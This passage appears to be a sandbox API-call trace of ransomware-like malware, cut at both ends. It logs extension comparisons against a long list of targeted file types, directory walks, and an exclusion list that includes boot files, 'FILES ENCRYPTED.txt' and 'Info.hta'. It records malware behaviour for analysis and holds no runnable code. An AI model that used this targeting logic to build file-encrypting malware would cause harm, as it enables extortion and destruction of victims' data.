(lpString1=".kmz", lpString2=".dll") returned 1 [0059.543] lstrlenW (lpString=".kwm") returned 4 [0059.543] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0059.543] lstrlenW (lpString=".lasso") returned 6 [0059.543] lstrcmpiW (lpString1=".lasso", lpString2="ig.dll") returned -1 [0059.543] lstrlenW (lpString=".lbi") returned 4 [0059.543] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0059.543] lstrlenW (lpString=".lgf") returned 4 [0059.543] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0059.543] lstrlenW (lpString=".lgp") returned 4 [0059.543] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0059.543] lstrlenW (lpString=".log") returned 4 [0059.543] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0059.543] lstrlenW (lpString=".m1v") returned 4 [0059.543] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0059.543] lstrlenW (lpString=".m4a") returned 4 [0059.543] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0059.543] lstrlenW (lpString=".m4v") returned 4 [0059.543] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0059.543] lstrlenW (lpString=".max") returned 4 [0059.544] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0059.544] lstrlenW (lpString=".md") returned 3 [0059.544] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0059.544] lstrlenW (lpString=".mda") returned 4 [0059.544] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0059.544] lstrlenW (lpString=".mdb") returned 4 [0059.544] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0059.544] lstrlenW (lpString=".mde") returned 4 [0059.544] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0059.544] lstrlenW (lpString=".mdf") returned 4 [0059.544] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0059.544] lstrlenW (lpString=".mdw") returned 4 [0059.544] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0059.544] lstrlenW (lpString=".mef") returned 4 [0059.544] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0059.544] lstrlenW (lpString=".mft") returned 4 [0059.544] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0059.544] lstrlenW (lpString=".mfw") returned 4 [0059.544] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0059.544] lstrlenW (lpString=".mht") returned 4 [0059.544] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0059.544] lstrlenW (lpString=".mhtml") returned 6 [0059.544] lstrcmpiW (lpString1=".mhtml", lpString2="ig.dll") returned -1 [0059.544] lstrlenW (lpString=".mka") returned 4 [0059.544] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0059.544] lstrlenW (lpString=".mkidx") returned 6 [0059.544] lstrcmpiW (lpString1=".mkidx", lpString2="ig.dll") returned -1 [0059.544] lstrlenW (lpString=".mkv") returned 4 [0059.544] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0059.544] lstrlenW (lpString=".mos") returned 4 [0059.544] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0059.544] lstrlenW (lpString=".mov") returned 4 [0059.544] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0059.544] lstrlenW (lpString=".mp3") returned 4 [0059.544] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0059.545] lstrlenW (lpString=".mp4") returned 4 [0059.545] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0059.545] lstrlenW (lpString=".mpeg") returned 5 [0059.545] lstrcmpiW (lpString1=".mpeg", lpString2="g.dll") returned -1 [0059.545] lstrlenW (lpString=".mpg") returned 4 [0059.545] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0059.545] lstrlenW (lpString=".mpv") returned 4 [0059.545] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0059.545] lstrlenW (lpString=".mrw") returned 4 [0059.545] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0059.545] lstrlenW (lpString=".msg") returned 4 [0059.545] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0059.545] lstrlenW (lpString=".mxl") returned 4 [0059.545] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0059.545] lstrlenW (lpString=".myd") returned 4 [0059.545] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0059.545] lstrlenW (lpString=".myi") returned 4 [0059.545] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0059.545] lstrlenW (lpString=".nef") returned 4 [0059.545] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0059.545] lstrlenW (lpString=".nrw") returned 4 [0059.545] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0059.545] lstrlenW (lpString=".obj") returned 4 [0059.545] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0059.545] lstrlenW (lpString=".odb") returned 4 [0059.545] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0059.545] lstrlenW (lpString=".odc") returned 4 [0059.545] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0059.545] lstrlenW (lpString=".odm") returned 4 [0059.545] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0059.545] lstrlenW (lpString=".odp") returned 4 [0059.545] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0059.545] lstrlenW (lpString=".ods") returned 4 [0059.545] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0059.545] lstrlenW (lpString=".oft") returned 4 [0059.545] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0059.545] lstrlenW (lpString=".one") returned 4 [0059.546] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0059.546] lstrlenW (lpString=".onepkg") returned 7 [0059.546] lstrcmpiW (lpString1=".onepkg", lpString2="fig.dll") returned -1 [0059.546] lstrlenW (lpString=".onetoc2") returned 8 [0059.546] lstrcmpiW (lpString1=".onetoc2", lpString2="nfig.dll") returned -1 [0059.546] lstrlenW (lpString=".opt") returned 4 [0059.546] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0059.546] lstrlenW (lpString=".oqy") returned 4 [0059.546] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0059.546] lstrlenW (lpString=".orf") returned 4 [0059.546] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0059.546] lstrlenW (lpString=".p12") returned 4 [0059.546] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0059.546] lstrlenW (lpString=".p7b") returned 4 [0059.546] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0060.182] lstrlenW (lpString=".p7c") returned 4 [0060.182] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0060.182] lstrlenW (lpString=".pam") returned 4 [0060.182] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0060.182] lstrlenW (lpString=".pbm") returned 4 [0060.182] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0060.182] lstrlenW (lpString=".pct") returned 4 [0060.182] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0060.182] lstrlenW (lpString=".pcx") returned 4 [0060.182] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0060.182] lstrlenW (lpString=".pdd") returned 4 [0060.182] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0060.183] lstrlenW (lpString=".pdf") returned 4 [0060.183] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.183] lstrlenW (lpString=".pdp") returned 4 [0060.183] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0060.183] lstrlenW (lpString=".pef") returned 4 [0060.183] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0060.183] lstrlenW (lpString=".pem") returned 4 [0060.183] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0060.183] lstrlenW (lpString=".pff") returned 4 [0060.183] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0060.183] lstrlenW (lpString=".pfm") returned 4 [0060.183] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0060.183] lstrlenW (lpString=".pfx") returned 4 [0060.183] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0060.183] lstrlenW (lpString=".pgm") returned 4 [0060.183] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0060.183] lstrlenW (lpString=".php") returned 4 [0060.183] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0060.183] lstrlenW (lpString=".php3") returned 5 [0060.183] lstrcmpiW (lpString1=".php3", lpString2="g.dll") returned -1 [0060.183] lstrlenW (lpString=".php4") returned 5 [0060.183] lstrcmpiW (lpString1=".php4", lpString2="g.dll") returned -1 [0060.183] lstrlenW (lpString=".php5") returned 5 [0060.183] lstrcmpiW (lpString1=".php5", lpString2="g.dll") returned -1 [0060.183] lstrlenW (lpString=".phtml") returned 6 [0060.183] lstrcmpiW (lpString1=".phtml", lpString2="ig.dll") returned -1 [0060.183] lstrlenW (lpString=".pict") returned 5 [0060.183] lstrcmpiW (lpString1=".pict", lpString2="g.dll") returned -1 [0060.183] lstrlenW (lpString=".pl") returned 3 [0060.183] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0060.183] lstrlenW (lpString=".pls") returned 4 [0060.183] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0060.183] lstrlenW (lpString=".pm") returned 3 [0060.183] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0060.183] lstrlenW (lpString=".png") returned 4 [0060.183] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0060.183] lstrlenW (lpString=".pnm") returned 4 [0060.184] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0060.184] lstrlenW (lpString=".pot") returned 4 [0060.184] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0060.184] lstrlenW (lpString=".potm") returned 5 [0060.184] lstrcmpiW (lpString1=".potm", lpString2="g.dll") returned -1 [0060.184] lstrlenW (lpString=".potx") returned 5 [0060.184] lstrcmpiW (lpString1=".potx", lpString2="g.dll") returned -1 [0060.184] lstrlenW (lpString=".ppa") returned 4 [0060.184] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0060.184] lstrlenW (lpString=".ppam") returned 5 [0060.184] lstrcmpiW (lpString1=".ppam", lpString2="g.dll") returned -1 [0060.184] lstrlenW (lpString=".ppm") returned 4 [0060.184] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0060.184] lstrlenW (lpString=".pps") returned 4 [0060.184] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0060.184] lstrlenW (lpString=".ppsm") returned 5 [0060.184] lstrcmpiW (lpString1=".ppsm", lpString2="g.dll") returned -1 [0060.415] FindNextFileW (in: hFindFile=0x4002108, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.415] FindNextFileW (in: hFindFile=0x4002108, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0060.415] FindClose (in: hFindFile=0x4002108 | out: hFindFile=0x4002108) returned 1 [0060.415] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40254e0 | out: hHeap=0x6c0000) returned 1 [0060.415] FindNextFileW (in: hFindFile=0x4002248, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 0 [0060.415] FindClose (in: hFindFile=0x4002248 | out: hFindFile=0x4002248) returned 1 [0060.415] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a206c8 | out: hHeap=0x6c0000) returned 1 [0060.415] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0060.416] FindNextFileW (in: hFindFile=0x4002248, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.416] FindNextFileW (in: hFindFile=0x4002248, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0064.344] lstrcmpiW (lpString1=".1cd", lpString2="dotm") returned -1 [0064.344] lstrcmpiW (lpString1=".3ds", lpString2="dotm") returned -1 [0064.344] lstrcmpiW (lpString1=".3fr", lpString2="dotm") returned -1 [0064.344] lstrcmpiW (lpString1=".3g2", lpString2="dotm") returned -1 [0064.344] lstrcmpiW (lpString1=".3gp", lpString2="dotm") returned -1 [0064.344] lstrcmpiW (lpString1=".7z", lpString2="otm") returned -1 [0064.344] lstrcmpiW (lpString1=".accda", lpString2="l.dotm") returned -1 [0064.344] lstrcmpiW (lpString1=".accdb", lpString2="l.dotm") returned -1 [0064.345] lstrcmpiW (lpString1=".accdc", lpString2="l.dotm") returned -1 [0064.345] lstrcmpiW (lpString1=".accde", lpString2="l.dotm") returned -1 [0064.345] lstrcmpiW (lpString1=".accdt", lpString2="l.dotm") returned -1 [0064.345] lstrcmpiW (lpString1=".accdw", lpString2="l.dotm") returned -1 [0064.345] lstrcmpiW (lpString1=".adb", lpString2="dotm") returned -1 [0064.345] lstrcmpiW (lpString1=".adp", lpString2="dotm") returned -1 [0064.345] lstrcmpiW (lpString1=".ai", lpString2="otm") returned -1 [0064.345] lstrcmpiW (lpString1=".ai3", lpString2="dotm") returned -1 [0064.345] lstrcmpiW (lpString1=".ai4", lpString2="dotm") returned -1 [0064.345] lstrcmpiW (lpString1=".ai5", lpString2="dotm") returned -1 [0064.345] lstrcmpiW (lpString1=".ai6", lpString2="dotm") returned -1 [0064.345] lstrcmpiW (lpString1=".ai7", lpString2="dotm") returned -1 [0064.345] lstrcmpiW (lpString1=".ai8", lpString2="dotm") returned -1 [0064.345] lstrcmpiW (lpString1=".anim", lpString2=".dotm") returned -1 [0064.345] lstrcmpiW (lpString1=".arw", lpString2="dotm") returned -1 [0064.345] lstrcmpiW (lpString1=".as", lpString2="otm") returned -1 [0064.345] lstrcmpiW (lpString1=".asa", lpString2="dotm") returned -1 [0064.345] lstrcmpiW (lpString1=".asc", lpString2="dotm") returned -1 [0064.346] lstrcmpiW (lpString1=".ascx", lpString2=".dotm") returned -1 [0064.346] lstrcmpiW (lpString1=".asm", lpString2="dotm") returned -1 [0064.346] lstrcmpiW (lpString1=".asmx", lpString2=".dotm") returned -1 [0064.346] lstrcmpiW (lpString1=".asp", lpString2="dotm") returned -1 [0064.346] lstrcmpiW (lpString1=".aspx", lpString2=".dotm") returned -1 [0064.346] lstrcmpiW (lpString1=".asr", lpString2="dotm") returned -1 [0064.346] lstrcmpiW (lpString1=".asx", lpString2="dotm") returned -1 [0064.346] lstrcmpiW (lpString1=".avi", lpString2="dotm") returned -1 [0064.346] lstrcmpiW (lpString1=".avs", lpString2="dotm") returned -1 [0064.346] lstrcmpiW (lpString1=".backup", lpString2="al.dotm") returned -1 [0064.346] lstrcmpiW (lpString1=".bak", lpString2="dotm") returned -1 [0064.346] lstrcmpiW (lpString1=".bay", lpString2="dotm") returned -1 [0064.346] lstrcmpiW (lpString1=".bd", lpString2="otm") returned -1 [0064.346] lstrcmpiW (lpString1=".bin", lpString2="dotm") returned -1 [0064.346] lstrcmpiW (lpString1=".bmp", lpString2="dotm") returned -1 [0064.346] lstrcmpiW (lpString1=".bz2", lpString2="dotm") returned -1 [0064.346] lstrcmpiW (lpString1=".c", lpString2="tm") returned -1 [0064.346] lstrcmpiW (lpString1=".cdr", lpString2="dotm") returned -1 [0064.347] lstrcmpiW (lpString1=".cer", lpString2="dotm") returned -1 [0064.347] lstrcmpiW (lpString1=".cf", lpString2="otm") returned -1 [0064.347] lstrcmpiW (lpString1=".cfc", lpString2="dotm") returned -1 [0064.347] lstrcmpiW (lpString1=".cfm", lpString2="dotm") returned -1 [0064.347] lstrcmpiW (lpString1=".cfml", lpString2=".dotm") returned -1 [0064.347] lstrcmpiW (lpString1=".cfu", lpString2="dotm") returned -1 [0064.347] lstrcmpiW (lpString1=".chm", lpString2="dotm") returned -1 [0064.347] lstrcmpiW (lpString1=".cin", lpString2="dotm") returned -1 [0064.347] lstrcmpiW (lpString1=".class", lpString2="l.dotm") returned -1 [0064.347] lstrcmpiW (lpString1=".clx", lpString2="dotm") returned -1 [0064.347] lstrcmpiW (lpString1=".config", lpString2="al.dotm") returned -1 [0064.347] lstrcmpiW (lpString1=".cpp", lpString2="dotm") returned -1 [0064.347] lstrcmpiW (lpString1=".cr2", lpString2="dotm") returned -1 [0064.347] lstrcmpiW (lpString1=".crt", lpString2="dotm") returned -1 [0064.347] lstrcmpiW (lpString1=".crw", lpString2="dotm") returned -1 [0064.347] lstrcmpiW (lpString1=".cs", lpString2="otm") returned -1 [0064.347] lstrcmpiW (lpString1=".css", lpString2="dotm") returned -1 [0064.348] lstrcmpiW (lpString1=".csv", lpString2="dotm") returned -1 [0064.348] lstrcmpiW (lpString1=".cub", lpString2="dotm") returned -1 [0064.348] lstrcmpiW (lpString1=".dae", lpString2="dotm") returned -1 [0064.348] lstrcmpiW (lpString1=".dat", lpString2="dotm") returned -1 [0064.348] lstrcmpiW (lpString1=".db", lpString2="otm") returned -1 [0064.348] lstrcmpiW (lpString1=".dbf", lpString2="dotm") returned -1 [0064.348] lstrcmpiW (lpString1=".dbx", lpString2="dotm") returned -1 [0064.348] lstrcmpiW (lpString1=".dc3", lpString2="dotm") returned -1 [0064.348] lstrcmpiW (lpString1=".dcm", lpString2="dotm") returned -1 [0064.348] lstrcmpiW (lpString1=".dcr", lpString2="dotm") returned -1 [0064.348] lstrcmpiW (lpString1=".der", lpString2="dotm") returned -1 [0064.348] lstrcmpiW (lpString1=".dib", lpString2="dotm") returned -1 [0064.348] lstrcmpiW (lpString1=".dic", lpString2="dotm") returned -1 [0064.348] lstrcmpiW (lpString1=".dif", lpString2="dotm") returned -1 [0064.348] lstrcmpiW (lpString1=".divx", lpString2=".dotm") returned -1 [0064.348] lstrcmpiW (lpString1=".djvu", lpString2=".dotm") returned -1 [0064.348] lstrcmpiW (lpString1=".dng", lpString2="dotm") returned -1 [0064.348] lstrcmpiW (lpString1=".doc", lpString2="dotm") returned -1 [0064.349] lstrcmpiW (lpString1=".docm", lpString2=".dotm") returned -1 [0064.349] lstrcmpiW (lpString1=".docx", lpString2=".dotm") returned -1 [0064.349] lstrcmpiW (lpString1=".dot", lpString2="dotm") returned -1 [0064.349] lstrcmpiW (lpString1=".dotm", lpString2=".dotm") returned 0 [0064.349] lstrcmpiW (lpString1=".wiki", lpString2=".dotm") returned 1 [0064.349] lstrcmpiW (lpString1="boot.ini", lpString2="Normal.dotm") returned -1 [0064.349] lstrcmpiW (lpString1="bootfont.bin", lpString2="Normal.dotm") returned -1 [0064.349] lstrcmpiW (lpString1="ntldr", lpString2="Normal.dotm") returned 1 [0064.349] lstrcmpiW (lpString1="ntdetect.com", lpString2="Normal.dotm") returned 1 [0064.349] lstrcmpiW (lpString1="io.sys", lpString2="Normal.dotm") returned -1 [0064.349] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="Normal.dotm") returned -1 [0064.349] lstrcmpiW (lpString1="Info.hta", lpString2="Normal.dotm") returned -1 [0064.349] lstrcmpiW (lpString1="n.exe", lpString2="Normal.dotm") returned -1 [0064.349] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof") returned 1 [0064.349] lstrcmpiW (lpString1="C:\\Windows", lpString2="UProof") returned -1 [0064.349] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3fd0048 [0064.350] lstrcmpiW (lpString1=".1cd", lpString2=".DIC") returned -1 [0064.350] lstrcmpiW (lpString1=".3ds", lpString2=".DIC") returned -1 [0064.350] lstrcmpiW (lpString1=".3fr", lpString2=".DIC") returned -1 [0064.350] lstrcmpiW (lpString1=".3g2", lpString2=".DIC") returned -1 [0064.350] lstrcmpiW (lpString1=".3gp", lpString2=".DIC") returned -1 [0064.350] lstrcmpiW (lpString1=".7z", lpString2="DIC") returned -1 [0064.350] lstrcmpiW (lpString1=".accda", lpString2="OM.DIC") returned -1 [0064.351] lstrcmpiW (lpString1=".accdb", lpString2="OM.DIC") returned -1 [0064.351] lstrcmpiW (lpString1=".accdc", lpString2="OM.DIC") returned -1 [0064.351] lstrcmpiW (lpString1=".accde", lpString2="OM.DIC") returned -1 [0064.351] lstrcmpiW (lpString1=".accdt", lpString2="OM.DIC") returned -1 [0064.351] lstrcmpiW (lpString1=".accdw", lpString2="OM.DIC") returned -1 [0064.351] lstrcmpiW (lpString1=".adb", lpString2=".DIC") returned -1 [0064.351] lstrcmpiW (lpString1=".adp", lpString2=".DIC") returned -1 [0064.351] lstrcmpiW (lpString1=".ai", lpString2="DIC") returned -1 [0064.351] lstrcmpiW (lpString1=".ai3", lpString2=".DIC") returned -1 [0064.351] lstrcmpiW (lpString1=".ai4", lpString2=".DIC") returned -1 [0064.351] lstrcmpiW (lpString1=".ai5", lpString2=".DIC") returned -1 [0064.351] lstrcmpiW (lpString1=".ai6", lpString2=".DIC") returned -1 [0064.351] lstrcmpiW (lpString1=".ai7", lpString2=".DIC") returned -1 [0064.351] lstrcmpiW (lpString1=".ai8", lpString2=".DIC") returned -1 [0064.351] lstrcmpiW (lpString1=".anim", lpString2="M.DIC") returned -1 [0064.351] lstrcmpiW (lpString1=".arw", lpString2=".DIC") returned -1 [0064.352] lstrcmpiW (lpString1=".as", lpString2="DIC") returned -1 [0064.352] lstrcmpiW (lpString1=".asa", lpString2=".DIC") returned -1 [0064.352] lstrcmpiW (lpString1=".asc", lpString2=".DIC") returned -1 [0064.352] lstrcmpiW (lpString1=".ascx", lpString2="M.DIC") returned -1 [0064.352] lstrcmpiW (lpString1=".asm", lpString2=".DIC") returned -1 [0064.352] lstrcmpiW (lpString1=".asmx", lpString2="M.DIC") returned -1 [0064.352] lstrcmpiW (lpString1=".asp", lpString2=".DIC") returned -1 [0064.352] lstrcmpiW (lpString1=".aspx", lpString2="M.DIC") returned -1 [0064.352] lstrcmpiW (lpString1=".asr", lpString2=".DIC") returned -1 [0064.352] lstrcmpiW (lpString1=".asx", lpString2=".DIC") returned -1 [0064.352] lstrcmpiW (lpString1=".avi", lpString2=".DIC") returned -1 [0064.352] lstrcmpiW (lpString1=".avs", lpString2=".DIC") returned -1 [0064.352] lstrcmpiW (lpString1=".backup", lpString2="TOM.DIC") returned -1 [0064.352] lstrcmpiW (lpString1=".bak", lpString2=".DIC") returned -1 [0064.352] lstrcmpiW (lpString1=".bay", lpString2=".DIC") returned -1 [0064.352] lstrcmpiW (lpString1=".bd", lpString2="DIC") returned -1 [0064.352] lstrcmpiW (lpString1=".bin", lpString2=".DIC") returned -1 [0064.352] lstrcmpiW (lpString1=".bmp", lpString2=".DIC") returned -1 [0064.353] lstrcmpiW (lpString1=".bz2", lpString2=".DIC") returned -1 [0064.353] lstrcmpiW (lpString1=".c", lpString2="IC") returned -1 [0064.353] lstrcmpiW (lpString1=".cdr", lpString2=".DIC") returned -1 [0064.353] lstrcmpiW (lpString1=".cer", lpString2=".DIC") returned -1 [0064.353] lstrcmpiW (lpString1=".cf", lpString2="DIC") returned -1 [0064.353] lstrcmpiW (lpString1=".cfc", lpString2=".DIC") returned -1 [0064.353] lstrcmpiW (lpString1=".cfm", lpString2=".DIC") returned -1 [0064.353] lstrcmpiW (lpString1=".cfml", lpString2="M.DIC") returned -1 [0064.353] lstrcmpiW (lpString1=".cfu", lpString2=".DIC") returned -1 [0064.353] lstrcmpiW (lpString1=".chm", lpString2=".DIC") returned -1 [0064.353] lstrcmpiW (lpString1=".cin", lpString2=".DIC") returned -1 [0064.353] lstrcmpiW (lpString1=".class", lpString2="OM.DIC") returned -1 [0064.353] lstrcmpiW (lpString1=".clx", lpString2=".DIC") returned -1 [0064.353] lstrcmpiW (lpString1=".config", lpString2="TOM.DIC") returned -1 [0064.353] lstrcmpiW (lpString1=".cpp", lpString2=".DIC") returned -1 [0064.353] lstrcmpiW (lpString1=".cr2", lpString2=".DIC") returned -1 [0064.353] lstrcmpiW (lpString1=".crt", lpString2=".DIC") returned -1 [0064.353] lstrcmpiW (lpString1=".crw", lpString2=".DIC") returned -1 [0064.354] lstrcmpiW (lpString1=".cs", lpString2="DIC") returned -1 [0064.354] lstrcmpiW (lpString1=".css", lpString2=".DIC") returned -1 [0064.354] lstrcmpiW (lpString1=".csv", lpString2=".DIC") returned -1 [0064.354] lstrcmpiW (lpString1=".cub", lpString2=".DIC") returned -1 [0064.354] lstrcmpiW (lpString1=".dae", lpString2=".DIC") returned -1 [0064.354] lstrcmpiW (lpString1=".dat", lpString2=".DIC") returned -1 [0064.354] lstrcmpiW (lpString1=".db", lpString2="DIC") returned -1 [0064.354] lstrcmpiW (lpString1=".dbf", lpString2=".DIC") returned -1 [0064.354] lstrcmpiW (lpString1=".dbx", lpString2=".DIC") returned -1 [0064.354] lstrcmpiW (lpString1=".dc3", lpString2=".DIC") returned -1 [0064.354] lstrcmpiW (lpString1=".dcm", lpString2=".DIC") returned -1 [0064.354] lstrcmpiW (lpString1=".dcr", lpString2=".DIC") returned -1 [0064.354] lstrcmpiW (lpString1=".der", lpString2=".DIC") returned -1 [0064.354] lstrcmpiW (lpString1=".dib", lpString2=".DIC") returned -1 [0064.354] lstrcmpiW (lpString1=".dic", lpString2=".DIC") returned 0 [0064.354] lstrcmpiW (lpString1=".wiki", lpString2="M.DIC") returned -1 [0064.354] lstrcmpiW (lpString1="boot.ini", lpString2="CUSTOM.DIC") returned -1 [0064.354] lstrcmpiW (lpString1="bootfont.bin", lpString2="CUSTOM.DIC") returned -1 [0064.354] lstrcmpiW (lpString1="ntldr", lpString2="CUSTOM.DIC") returned 1 [0064.354] lstrcmpiW (lpString1="ntdetect.com", lpString2="CUSTOM.DIC") returned 1 [0064.355] lstrcmpiW (lpString1="io.sys", lpString2="CUSTOM.DIC") returned 1 [0064.355] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="CUSTOM.DIC") returned 1 [0064.355] lstrcmpiW (lpString1="Info.hta", lpString2="CUSTOM.DIC") returned 1 [0064.355] lstrcmpiW (lpString1="n.exe", lpString2="CUSTOM.DIC") returned 1 [0064.355] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows") returned 1 [0064.355] lstrcmpiW (lpString1="C:\\Windows", 